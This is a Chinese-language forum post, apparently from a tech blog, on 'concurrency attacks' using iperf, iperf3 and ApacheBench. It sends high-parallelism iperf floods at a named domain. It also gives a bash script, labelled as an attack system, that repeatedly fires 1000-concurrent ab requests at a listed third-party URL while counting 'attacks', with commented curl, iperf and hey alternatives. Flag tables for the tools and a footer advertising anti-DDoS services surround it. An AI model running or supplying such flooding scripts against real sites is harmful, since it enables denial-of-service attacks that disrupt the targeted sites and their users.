收藏文章 楼主

linux 并发数攻击并发攻击

版块:linux   类型:普通   作者:小绿叶技术博客   查看:376   回复:0   获赞:0   时间:2021-10-03 14:22:35


并发数攻击

yum install -y iperf iperf3

iperf -c eisc.cn -p 80 -n 99 -P 9999

                                           # -c 指定地址

                                           # -p 指定端口

                                           # -n 包大小

                                           # -P 并发数

perf是一个网络性能测试工具。

iperf3是用来测量一个网络最大带宽的工具。





iperf -u -c eisc.cn -b 5M -P 30 -t 60


客户端


TCP


iperf3 -c 192.168.1.100 -b 100M -i 1 -t 600


含义是连接服务器端,-b 100M 指的是测试100Mb/s,-i 1


是每1s显示一次.-t 600是指测试600s


UDP iperf3 -c 192.168.1.100 -u -b 100M -i 1


-u 是指udp


其他常用参数


-p 端口号 是连接服务器端指定端口


-P 并发连接数





-s    表示服务器端;

-p    定义端口号;

-i    设置每次报告之间的时间间隔,单位为秒,如果设置为非零值,就会按照此时间间隔输出测试报告,默认值为零

客户端命令行

其中,


复制代码

-c    表示服务器的IP地址;

-p    表示服务器的端口号;

-t    参数可以指定传输测试的持续时间,Iperf在指定的时间内,重复的发送指定长度的数据包,默认是10秒钟.


-i    设置每次报告之间的时间间隔,单位为秒,如果设置为非零值,就会按照此时间间隔输出测试报告,默认值为零;


-w    设置套接字缓冲区为指定大小,对于TCP方式,此设置为TCP窗口大小,对于UDP方式,此设置为接受UDP数据包的缓冲区大小,限制可以接受数据包的最大值.


--logfile    参数可以将输出的测试结果储存至文件中.


-J  来输出JSON格式测试结果.

-R  反向传输,缺省iperf3使用上传模式:Client负责发送数据,Server负责接收;如果需要测试下载速度,则在Client侧使用-R参数即可.



#!/bin/bash
# 攻击系统
# apt install apache2-utils
bf=9999
count=99
port=443


touch postfile.ab


urllist=(
    https://76.yirong.com/443?vid=1
    #https://h5.daanfax.com/h5 


)

echo 攻击的网站为: ${urllist[*]}

for url in ${urllist[*]}
do
    
    for((i=0;i<$count;i++))
    do
        #curl $url > /dev/null
        #iperf -c $url -p 80 -n 99 -P $bf
        #iperf -c $url -p 443 -n 99 -P $bf
        #curl $url > /dev/null
        #hey -t 2 -z 10s -c $bf $url 
        ab -c 1000 -n 10000 -t 3 -p a.ab $url 

        echo "当前攻击次数  $i  剩余: $[bf-i] 次数   并发数:$bf " ; sleep 0.001    
    done 
done



# apt install apache2-utils -y
# ab -c 1000 -n 10000 -p postfile.ab $url -t 0.1

# -n  即requests,用于指定压力测试总共的执行次数。
# -c  即concurrency,用于指定的并发数。
# -t  即timelimit,等待响应的最大时间(单位:秒)。
# -b  即windowsize,TCP发送/接收的缓冲大小(单位:字节)。
# -p  即postfile,发送POST请求时需要上传的文件,此外还必须设置-T参数。
# -u  即putfile,发送PUT请求时需要上传的文件,此外还必须设置-T参数。
# -T  即content-type,用于设置Content-Type请求头信息,例如:application/x-www-form-urlencoded,默认值为text/plain。
# -v  即verbosity,指定打印帮助信息的冗余级别。
# -w  以HTML表格形式打印结果。
# -i  使用HEAD请求代替GET请求。
# -x  插入字符串作为table标签的属性。
# -y  插入字符串作为tr标签的属性。
# -z  插入字符串作为td标签的属性。
# -C  添加cookie信息,例如:"Apache=1234"(可以重复该参数选项以添加多个)。
# -H  添加任意的请求头,例如:"Accept-Encoding: gzip",请求头将会添加在现有的多个请求头之后(可以重复该参数选项以添加多个)。
# -A  添加一个基本的网络认证信息,用户名和密码之间用英文冒号隔开。
# -P  添加一个基本的代理认证信息,用户名和密码之间用英文冒号隔开。
# -X  指定使用的和端口号,例如:"126.10.10.3:88"。
# -V  打印版本号并退出。
# -k  使用HTTP的KeepAlive特性。
# -d  不显示百分比。
# -S  不显示预估和警告信息。
# -g  输出结果信息到gnuplot格式的文件中。
# -e  输出结果信息到CSV格式的文件中。
# -r  指定接收到错误信息时不退出程序。
# -h  显示用法信息,其实就是ab -help。


提供企业建站服务,免费网防系统,提交信息登录 http://yundun.ddoss.cn 邮箱: proposal@ddoss.cn 
回复列表
默认   热门   正序   倒序

回复:linux 并发数攻击并发攻击

头像

用户名:

粉丝数:

签名:

资料 关注 好友 消息